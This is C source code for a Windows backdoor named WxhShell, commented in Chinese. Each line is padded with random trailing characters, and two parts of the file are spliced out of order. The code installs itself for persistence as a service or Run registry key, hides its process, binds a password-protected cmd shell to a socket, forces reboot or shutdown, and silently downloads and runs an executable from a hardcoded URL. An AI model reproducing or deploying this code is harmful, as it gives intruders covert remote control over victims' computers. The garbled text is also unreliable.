  // 关机 K2MNaB   
  case 'd': { iE gM ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -+_aL4.  
    if(Boot(SHUTDOWN)) -Fc#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4kF .  
    else { 2CgIY89O  
    closesocket(wsh); s]8J+8 <uO  
    ExitThread(0); +U)|&1oa  
    } bnY8.Lpf|  
    break; cBF%])!  
    } @#Uiy5N  
  // 获取shell I_I;.Ik  
  case 's': { {ro!OuA  
    CmdShell(wsh); |{IU<o x  
    closesocket(wsh); u2O^3r G-  
    ExitThread(0); `b`52b\6S  
    break; c%/&@vs7  
  } UVmyOC[Y{  
  // 退出 d?y\~<  
  case 'x': { 0@x$Cp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B:#0B[  
    CloseIt(wsh); 2|>wY%  
    break; yx;R#8;b.  
    } UkbQ'P+oS  
  // 离开 ]JPPL4wAT  
  case 'q': { \lIHC{V\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); UXB8sS*wQ?  
    closesocket(wsh); JU \J  
    WSACleanup(); |=}~>!!  
    exit(1); m:O2_%\l  
    break; -t'oW*kdL  
        } vk+%#w  
  } ZjW| qb  
  } !enz05VW6.  
EjE`S_i=  
  // 提示信息 XTaWd0Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !;C(pnE  
} R{A/ +7!  
  } H08YM P>dc  
iSLf:  
  return; f> [;|r@K  
} JP@m%Yj  
>t2)Z|1  
// shell模块句柄 ! e,(Zz5  
int CmdShell(SOCKET sock) s:F+bG}|  
{ WvzvGT=  
STARTUPINFO si; 5d{Ggg{s  
ZeroMemory(&si,sizeof(si)); @wJa33QT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #|h8u`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8B+^vF   
PROCESS_INFORMATION ProcessInfo; _H<OfAO  
char cmdline[]="cmd"; J$*["y`+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2,_"9Z(  
  return 0; J,KTc'[  
} -mo ' $1  
%)ov,p |  
// 自身启动模式 T\CQ  
int StartFromService(void) @Hdg-f>y]  
{ (`/i1#nR  
typedef struct Z@O e}\.$  
{ 6v)eM=   
  DWORD ExitStatus; ^F9zS `Yz2  
  DWORD PebBaseAddress; R*eM 1  
  DWORD AffinityMask; 2#}IGZ`Yp/  
  DWORD BasePriority; zn$ Ld,  
  ULONG UniqueProcessId;  Jiylrf`o  
  ULONG InheritedFromUniqueProcessId; 1Klu]J%  
}   PROCESS_BASIC_INFORMATION; ~6i mkv^ F  
&n kGdHX/a  
PROCNTQSIP NtQueryInformationProcess;  2_v+q  
H1i4_T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %-po6Vf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P,=J"%a-  
 HcS^3^Y  
  HANDLE             hProcess; F4(U~n<  
  PROCESS_BASIC_INFORMATION pbi; ,.MG&O  
8>;o MM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yx c >+mx  
  if(NULL == hInst ) return 0; "fd=(& M*l  
ui0(#2'h%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @5GP;3T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t1s@Ub5);I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %t.IxMY  
6.=1k  
  if (!NtQueryInformationProcess) return 0; 4<Y[L'UaA@  
c2:kZxT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g~u!,Zc  
  if(!hProcess) return 0; ~2ei+#d!^  
|q)Q <%VS'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A~SSu.L@  
Mn;CG'FA  
  CloseHandle(hProcess); c4W"CD;D  
vAxtN RS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aKr4E3`  
if(hProcess==NULL) return 0; [c )\?MWW  
:8T@96]P  
HMODULE hMod; G=Bj1ss.  
char procName[255]; Y %8QFM  
unsigned long cbNeeded; RM$S|y{L  
me\)JCZpb{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4HmRsOl  
1&E&8In]$r  
  CloseHandle(hProcess); P"<ad kr  
H8k| >4  
if(strstr(procName,"services")) return 1; // 以服务启动 .W:], 5e  
cu|q &  
  return 0; // 注册表启动 'Q,<_ L"  
} 8Wp1L0$B  
CMUphS-KE  
// 主模块 `&JA7UD>  
int StartWxhshell(LPSTR lpCmdLine) Py<vN!  
{ sM[c\Z]  
  SOCKET wsl; t2<(by!  
BOOL val=TRUE; J3^Ir [  
  int port=0; xF0*q  
  struct sockaddr_in door; =J\7(0Dz4t  
Mt0|`=64  
  if(wscfg.ws_autoins) Install(); ]xs\,}I%  
NKYyMHv6  
port=atoi(lpCmdLine); zaPR>:r0  
CcE TS}Q0C  
if(port<=0) port=wscfg.ws_port; 3qZ{yr2N[  
Np_6ZUaqz  
  WSADATA data; obGSc)?j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cn{l %6K  
Gl9a5b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "$9ZkADO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .<hv &t  
  door.sin_family = AF_INET; l>q.BG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :g_ +{4  
  door.sin_port = htons(port); Cvy;O~)  
Id1[}B-T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -2 ?fg   
closesocket(wsl); <{j9|mt  
return 1; L1K_|X  
} :6{HFMf"  
]B[Qdn  
  if(listen(wsl,2) == INVALID_SOCKET) { /2I("x]  
closesocket(wsl); ]ORat.*0[T  
return 1; 7G2N&v>  
} ZrBxEf$f  
  Wxhshell(wsl); % VZ\4+8S  
  WSACleanup(); t trp| (  
hG)lVo!L4j  
return 0; n_hD  
@^@-A\7[KO  
} p%'((!a2  
#kEdf0  
// 以NT服务方式启动 -`o:W?V$u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X_2I4Jz]6  
{ A+&Va\|x  
DWORD   status = 0; |R;=P(0it  
  DWORD   specificError = 0xfffffff; D1 z3E;:  
fRmc_tx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o,I642R~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L}+!<Ug  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j>zVC;Sj*  
  serviceStatus.dwWin32ExitCode     = 0; S/aPYrk>6  
  serviceStatus.dwServiceSpecificExitCode = 0; l.! ~t1i  
  serviceStatus.dwCheckPoint       = 0; 9X~^w_cdk  
  serviceStatus.dwWaitHint       = 0; 2(|V1]6D?  
I+SL0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;2}Gqh)Yr  
  if (hServiceStatusHandle==0) return; iV=#'yY  
L3\{{QOA  
status = GetLastError(); n\4+xZr  
  if (status!=NO_ERROR) AS;{{^mM(  
{ ~XRr }z_Lq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; suwj1qYJ4  
    serviceStatus.dwCheckPoint       = 0; 7[\B{N9&W  
    serviceStatus.dwWaitHint       = 0; z=sqO'~  
    serviceStatus.dwWin32ExitCode     = status; To+{9"$,  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8*ysuL#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xPv&(XZR  
    return; nq;)!Wry  
  } W` V  
w,7 GC5j\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V{r@D!}  
  serviceStatus.dwCheckPoint       = 0; A{vG@Pwc:  
  serviceStatus.dwWaitHint       = 0; E}u\{uY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xM,3F jF  
} s zg1.&  
=&'j;j  
// 处理NT服务事件,比如:启动、停止 WUWQcJj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FtXEudk  
{ }e$);A|  
switch(fdwControl) V RL6F2 >6  
{ O<*iDd`(e  
case SERVICE_CONTROL_STOP: .O(UK4Mb  
  serviceStatus.dwWin32ExitCode = 0; K!X8KPo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o2L/8q.  
  serviceStatus.dwCheckPoint   = 0; zob-z=='  
  serviceStatus.dwWaitHint     = 0; y[vjqfdmU  
  { n3w2&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D~Su82 2  
  } \BDNF< _  
  return; ]_h"2|  
case SERVICE_CONTROL_PAUSE: C-7.Sa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `i-&Z`  
  break; ]iPdAwc.1  
case SERVICE_CONTROL_CONTINUE: %rsW:nl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]pt @  
  break; -3Ffk:  
case SERVICE_CONTROL_INTERROGATE: wJ}8y4O!N  
  break; @S}'_g  
}; S=Zjdbd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O_033&  
} V2*b f`/V  
$8Zw<aEJ  
// 标准应用程序主函数 Jad'8}0J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4PdFq*A  
{ 0Z\fK>yw  
BB-`=X~:m  
// 获取操作系统版本 Qk6FK]buV  
OsIsNt=GetOsVer(); x>Kem$z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~I'h iV^-  
p`It=16trT  
  // 从命令行安装 qxq ~9\My  
  if(strpbrk(lpCmdLine,"iI")) Install(); `]Xb w^Y'x  
q7;)&_'  
  // 下载执行文件 ,70|I{,Km  
if(wscfg.ws_downexe) { .R1)i-^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uZNR]+Yu@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6 ^p 6v   
} +um; eL7  
r8qee$^M  
if(!OsIsNt) { 607#d):Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 J&5|'yVX  
HideProc(); "_^FRz#h  
StartWxhshell(lpCmdLine); Z^sO`C  
} 7HzKjR=B  
else IL<5Suz:  
  if(StartFromService()) kys?%Y1  
  // 以服务方式启动 MRs8l  
  StartServiceCtrlDispatcher(DispatchTable); 5<u+2x8|  
else e}kG1C8  
  // 普通方式启动 p7z#4 GW  
  StartWxhshell(lpCmdLine); ), n?"  
Yy&0b(m U  
return 0; 2$jY_{B+x  
} ukN#>e+L1  
<1"6`24  
dM QnN[d6  
6ik6JL$AI  
===========================================  9TeDLp  
7Kn=[2J5k'  
iVFn t!  
E*kS{2NAq  
]xuq2MU,l  
9Y7 tI3  
" -V9Cx_]y  
v^e[`]u(  
#include <stdio.h> fx*Swv%r  
#include <string.h> Z*JZ Ubo-Q  
#include <windows.h> C?z C|0  
#include <winsock2.h> (bXCc  
#include <winsvc.h> i22R3&C  
#include <urlmon.h> Q (`IiV   
Na#2sb[)  
#pragma comment (lib, "Ws2_32.lib") 2WKA] l;  
#pragma comment (lib, "urlmon.lib") Tux~4W  
R^D~ic N  
#define MAX_USER   100 // 最大客户端连接数 !OiP<8 ,H  
#define BUF_SOCK   200 // sock buffer FrB19  
#define KEY_BUFF   255 // 输入 buffer Rq;R{a  
 p.zU9rID  
#define REBOOT     0   // 重启 0ya_[\  
#define SHUTDOWN   1   // 关机 2-8<uUy  
#ujcT%1G  
#define DEF_PORT   5000 // 监听端口 R(csJ4F  
 ?9AByg  
#define REG_LEN     16   // 注册表键长度 #x'C  
#define SVC_LEN     80   // NT服务名长度 xe 6x!  
_I2AJn`#  
// 从dll定义API uu(.,11`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7bTs+C_;7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0evG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _wm"v19  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %e3lb<sv6  
|gT$M _}  
// wxhshell配置信息 D|OX]3~  
struct WSCFG {  Q}G   
  int ws_port;         // 监听端口 b+hZ<U/  
  char ws_passstr[REG_LEN]; // 口令 ]Dx5t&  
  int ws_autoins;       // 安装标记, 1=yes 0=no z. 7 UfLV9  
  char ws_regname[REG_LEN]; // 注册表键名 _c`Gxt%  
  char ws_svcname[REG_LEN]; // 服务名 P4s:wuJ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 64[j:t=N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7pkc*@t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n`CmbM@@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no D`Fl*Wc4H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u U\UULH0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t@b';Cuv  
#*?a"  
}; tk~7>S  
ZQ@^(64  
// default Wxhshell configuration TMGZHOAt  
struct WSCFG wscfg={DEF_PORT, T"3WB o  
    "xuhuanlingzhe", ; 5oY)1  
    1, ,~c:P>v=  
    "Wxhshell", D_'Zucq  
    "Wxhshell", B>gC75  
            "WxhShell Service", ^lbOv}C*  
    "Wrsky Windows CmdShell Service", F)!B%4  
    "Please Input Your Password: ", sA:0b5_a  
  1, {n{ j*+  
  "http://www.wrsky.com/wxhshell.exe", Lk`0z  
  "Wxhshell.exe" M7UVL&_z%  
    }; P oC*>R8  
=TU"B-*  
// 消息定义模块 GN(PH/fO9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )R,*>-OPJL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s}UPe)Vu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Il<'+ ^  
char *msg_ws_ext="\n\rExit."; Gu9Ap<>!  
char *msg_ws_end="\n\rQuit."; ;p) gTQa  
char *msg_ws_boot="\n\rReboot..."; PJO +@+"{@  
char *msg_ws_poff="\n\rShutdown..."; ~u7a50  
char *msg_ws_down="\n\rSave to "; l =xy_ TCf  
Iy\K&)5?  
char *msg_ws_err="\n\rErr!"; H2[ S]`?  
char *msg_ws_ok="\n\rOK!"; =p ^Sn,t  
=f?|f  
char ExeFile[MAX_PATH]; jg' 'T1)  
int nUser = 0; 0lY.z$V  
HANDLE handles[MAX_USER]; b1E>LrL  
int OsIsNt; "rBo?%:  
!y `wAm>n  
SERVICE_STATUS       serviceStatus; ,C!MHn^$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0t'WM=W<!8  
&U!@l)<  
// 函数声明 HSq&'V  
int Install(void); #*XuU8q?  
int Uninstall(void); 8+Oyhd*|  
int DownloadFile(char *sURL, SOCKET wsh); 3/P2&m  
int Boot(int flag); 0vf2wBK'T  
void HideProc(void); pv;}Sv$ ]-  
int GetOsVer(void); l. !5/\  
int Wxhshell(SOCKET wsl); }D{y u+)  
void TalkWithClient(void *cs); |-=^5q5  
int CmdShell(SOCKET sock); Qgf\gTF$r+  
int StartFromService(void); K%Jy?7 U  
int StartWxhshell(LPSTR lpCmdLine); L-",.U*;  
^0c:ro  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "=N[g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5o'V}  
4ijoAW3A^  
// 数据结构和表定义 cea%M3  
SERVICE_TABLE_ENTRY DispatchTable[] = x)5#*Q  
{ <Hig,(=`.  
{wscfg.ws_svcname, NTServiceMain}, ?3k;Yg/  
{NULL, NULL} >ouHR*  
}; `gSqwN<x%  
g;D [XBp  
// 自我安装 >a5CW~Z]  
int Install(void) _/]4:("  
{ 4F^(3RKZ|  
  char svExeFile[MAX_PATH]; +'x|VPY.PG  
  HKEY key; ZQZ>{K  
  strcpy(svExeFile,ExeFile); grp1nWAs  
rs`H':a/  
// 如果是win9x系统,修改注册表设为自启动 q!t_qX7u  
if(!OsIsNt) { XSkx<"U*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t,)` Zu$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,=.&  
  RegCloseKey(key); R*VJe+5w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m?`U;R[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &J,MJ{w6"  
  RegCloseKey(key); ag+$qU  
  return 0; oEGe y8?  
    } gR )xw)!  
  } )u7y.o  
} i*_T\_=  
else { dX^OV$  
^`!5!|  
// 如果是NT以上系统,安装为系统服务 ]*'V#;s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NffZttN  
if (schSCManager!=0) {|9x*I  
{ q$Gf9&ZO  
  SC_HANDLE schService = CreateService MR}GxI  
  ( NnRR"'  
  schSCManager, )`, Bt  
  wscfg.ws_svcname, ou0(C `  
  wscfg.ws_svcdisp, +vY8HQ|v  
  SERVICE_ALL_ACCESS, tg_v\n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R/VrBiw  
  SERVICE_AUTO_START, TyI"fP  
  SERVICE_ERROR_NORMAL, }'U "HHv  
  svExeFile, w)2X0ev"  
  NULL, Yg3Vj=  
  NULL, 7j8nDX<  
  NULL, }\!&3^I  
  NULL, _l<e>zj  
  NULL 8!(4;fN$j.  
  ); 9TuE.  
  if (schService!=0) Ei2hI  
  { RP?UKOc  
  CloseServiceHandle(schService); S:"R/EE(  
  CloseServiceHandle(schSCManager); hN=YC\l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QVA)&k'T,  
  strcat(svExeFile,wscfg.ws_svcname); eo.y,Uh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 38ChS.(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %9cu(yc*}  
  RegCloseKey(key); 8q58H[/c  
  return 0; Oc8]A=M12  
    } z%Pbs[*C  
  } (,z0V+ !  
  CloseServiceHandle(schSCManager); = Bz yI  
} G}<%%U D  
} -!zyit5B  
e@}zp  
return 1; ~M7 J{hK  
} ?=}~]A5N  
x%Ivd  
// 自我卸载 B U |]4  
int Uninstall(void) o&g-0!"  
{ ~"6/OJA  
  HKEY key; 0.7* 2s-  
*.nC'$-2r  
if(!OsIsNt) { nG hFYQl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { " lar~  
  RegDeleteValue(key,wscfg.ws_regname); 1#9qP~#]'{  
  RegCloseKey(key); sq1Z;l31"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a"ZBSg(  
  RegDeleteValue(key,wscfg.ws_regname); fbgq+f`\  
  RegCloseKey(key); c 4xh  
  return 0; g b:)t }|  
  } >T: Yp<  
} !#s1'x{o  
} iU]py  
else { s wgn( -  
K89 AZxH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i]oSVXx4WC  
if (schSCManager!=0) QbA+\  
{ )xwWig.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ozv:$>v@"  
  if (schService!=0) vF,\{sgW  
  { B]jN~CO?  
  if(DeleteService(schService)!=0) { WB~ ^R<g  
  CloseServiceHandle(schService); ,QU2xw D[  
  CloseServiceHandle(schSCManager); "_dh6naZX  
  return 0; <4V]>[{W  
  } =gL~E9\  
  CloseServiceHandle(schService); fS2 ^$"B|  
  } k=L(C^VP  
  CloseServiceHandle(schSCManager); :y#KR\T1  
} <7Igd6u  
} agdiJ-lyQ  
"uK`!{  
return 1; N]qX^RSb  
} $42%H#  
&aD ]_+b  
// 从指定url下载文件 9nIBs{`/Ac  
int DownloadFile(char *sURL, SOCKET wsh) Q(Uj5aX  
{ BfQRw>dZ"{  
  HRESULT hr; ~&)  
char seps[]= "/"; 2pa: 3O  
char *token; Ip_S8 ;;  
char *file; GjF'03Z4  
char myURL[MAX_PATH]; HivmKn`  
char myFILE[MAX_PATH]; KFxy,Z$-4  
k\,01Y^  
strcpy(myURL,sURL); ;;4xpg  
  token=strtok(myURL,seps); u`GzYG-L  
  while(token!=NULL) GR&T Z   
  { -UgD  
    file=token; pi`sx[T@{Z  
  token=strtok(NULL,seps); zSs5F_  
  } #IH7WaN  
;yh}$)^9  
GetCurrentDirectory(MAX_PATH,myFILE); PP{2{  
strcat(myFILE, "\\"); ~xz3- a/  
strcat(myFILE, file); O}VI8OB(&  
  send(wsh,myFILE,strlen(myFILE),0); 5G-)>  
send(wsh,"...",3,0); F^Q[P4>m\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \VJ7ahg[\  
  if(hr==S_OK) f?xc-lX5R  
return 0; 9AJMm1 _  
else L\p@1N?K  
return 1; uYk4qorA  
doJ\7c5uU  
} B/@9.a.c  
z>_jC+  
// 系统电源模块 P8#;a  
int Boot(int flag) GUUVE@Z  
{ :m|%=@]`  
  HANDLE hToken; 7vBB <\  
  TOKEN_PRIVILEGES tkp; \gd.Bl  
_Se~bkw?v  
  if(OsIsNt) { -t28"jyj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'W0?XaEk-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]F&<{\:_}  
    tkp.PrivilegeCount = 1; ~4p@m>>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _VIVZ2mU=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ep]tio_  
if(flag==REBOOT) { )2c[]d /a4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WgBV,{ C  
  return 0; **jD&h7$s-  
} z;x1p)(xt  
else { Yjo$^q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MguH)r` uT  
  return 0; 4BSSJ@z  
} wr\d5j  
  } Z$h39hm?c  
  else { &^-quzlZ  
if(flag==REBOOT) { vF45tw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 71GLqn?  
  return 0; Oh9jr"Gm=  
} :hB 8hTw]p  
else { -u6`B -T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,~@0IKIA Q  
  return 0; lqC a%V  
} c" mRMDg%  
} ]stAC3  
2+G_Y>  
return 1; Vab+58s5  
} <fY<.X  
MYqxkhcLH1  
// win9x进程隐藏模块 #]`ejr:2O  
void HideProc(void) 7 R1;'/;  
{ 8.vPh  
GvQ|+vC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'WH@Zk/l  
  if ( hKernel != NULL ) oL'  :07_  
  { gd9ZlHo'Id  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pH&Q]u; O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pf.T{/%  
    FreeLibrary(hKernel); Jt4T)c9  
  } c9e  }P  
dO Y+| P\  
return; h[d|y_)f  
} IQK__)  
D_E^%Ea&`  
// 获取操作系统版本 K%h83tm+  
int GetOsVer(void) ?k4O)?28  
{ lyzMKla"  
  OSVERSIONINFO winfo; GiBq1U-Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z@j$i\,`  
  GetVersionEx(&winfo); =dbLA ,z9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9\W~5J<7  
  return 1; 45` Gv  
  else 5gq3 >qo  
  return 0; BaIh,iu  
} QsYc 9]:  
VHsNz WI  
// 客户端句柄模块 p\e*eV1dxx  
int Wxhshell(SOCKET wsl) &,':@OQ  
{ (bo{vX  
  SOCKET wsh; Tr}@fa  
  struct sockaddr_in client; Rk fr4  
  DWORD myID; _:om(gL  
zk]6|i$!I  
  while(nUser<MAX_USER) ~S Js2- 2  
{ di6A.N5A  
  int nSize=sizeof(client); s#sr1[9}G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F0Xv84:O  
  if(wsh==INVALID_SOCKET) return 1; .a:Oj3=0  
B\bIMjXV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {: EQ  
if(handles[nUser]==0) 9;;1 "^4/  
  closesocket(wsh); Yg%V  
else 1p,G8v+B  
  nUser++; |::kC3=  
  } (CY VSO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w&;\}IS  
Ov%9S/d  
  return 0; /B!"\0G/,  
} ja2LQe@ Q  
GpF,=:  
// 关闭 socket >fo &H_a  
void CloseIt(SOCKET wsh) d; @Kz^  
{ 9a)D8  
closesocket(wsh); Db yy H_  
nUser--; b]6;:Q!d  
ExitThread(0); />\.zuAr&  
} J8a4.prqI  
Z.m.Uyz{7  
// 客户端请求句柄 HkxFDU-K  
void TalkWithClient(void *cs) ;,*U,eV  
{ B!< {s'  
BU:s&+LYUv  
  SOCKET wsh=(SOCKET)cs; 451C2 %y  
  char pwd[SVC_LEN]; L~ V 63K  
  char cmd[KEY_BUFF]; 2!dIW5I  
char chr[1]; UR-e'Z&]  
int i,j; u ` 9Eh;  
Uy ;oJY  
  while (nUser < MAX_USER) { I}Q3B3Byg  
Fg4eIE-/M  
if(wscfg.ws_passstr) { Mz]LFM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >C_! }~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q}]:lmqH  
  //ZeroMemory(pwd,KEY_BUFF); [ sz#*IJ  
      i=0; : M0LAN  
  while(i<SVC_LEN) { .(;k]U P  
{b/60xl?  
  // 设置超时 $if(`8  
  fd_set FdRead; )'%L#  
  struct timeval TimeOut; a|?CC/Ra  
  FD_ZERO(&FdRead); *goi^ Xp  
  FD_SET(wsh,&FdRead); I+O !<S B  
  TimeOut.tv_sec=8; vWfC!k-)b  
  TimeOut.tv_usec=0; WP^%[?S2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UDyvTfh1X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y9\s[}c_  
1aYO:ZPy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :'GTCo$3  
  pwd=chr[0]; TdD-# |5  
  if(chr[0]==0xd || chr[0]==0xa) { !0Xes0gK0  
  pwd=0; N!RyncJ  
  break; wrsETB c  
  } RW>Z~Nj  
  i++; ? dSrY  
    } 2%vwC]A  
@u6#Tvxy[  
  // 如果是非法用户,关闭 socket @uY%;%Pa8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M~N'z /  
} pS%,wjb&P  
Q'~;RE%T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "@` mPe/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,\}V.:THF  
;5y4v  
while(1) { "cJ5Fd:*  
3CQpe  
  ZeroMemory(cmd,KEY_BUFF); @292;qi  
*o"F.H{#N  
      // 自动支持客户端 telnet标准   (a7IxW  
  j=0; D zDt:.JZ  
  while(j<KEY_BUFF) { m U7Ad"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >47,Hq:2  
  cmd[j]=chr[0]; Zb2 B5( 0  
  if(chr[0]==0xa || chr[0]==0xd) { Iob o5B  
  cmd[j]=0; _,F wt  
  break; (nda!^f_s  
  } jIdhmd* $z  
  j++; ,PN>,hFL  
    } Kq!n `@  
DU1,i&(  
  // 下载文件 :X`J1E]Rjd  
  if(strstr(cmd,"http://")) { &2?kD{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zP=J5qOZ8  
  if(DownloadFile(cmd,wsh)) bk4%lYJ"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \UB<'~z6!  
  else  XyhO d$)  
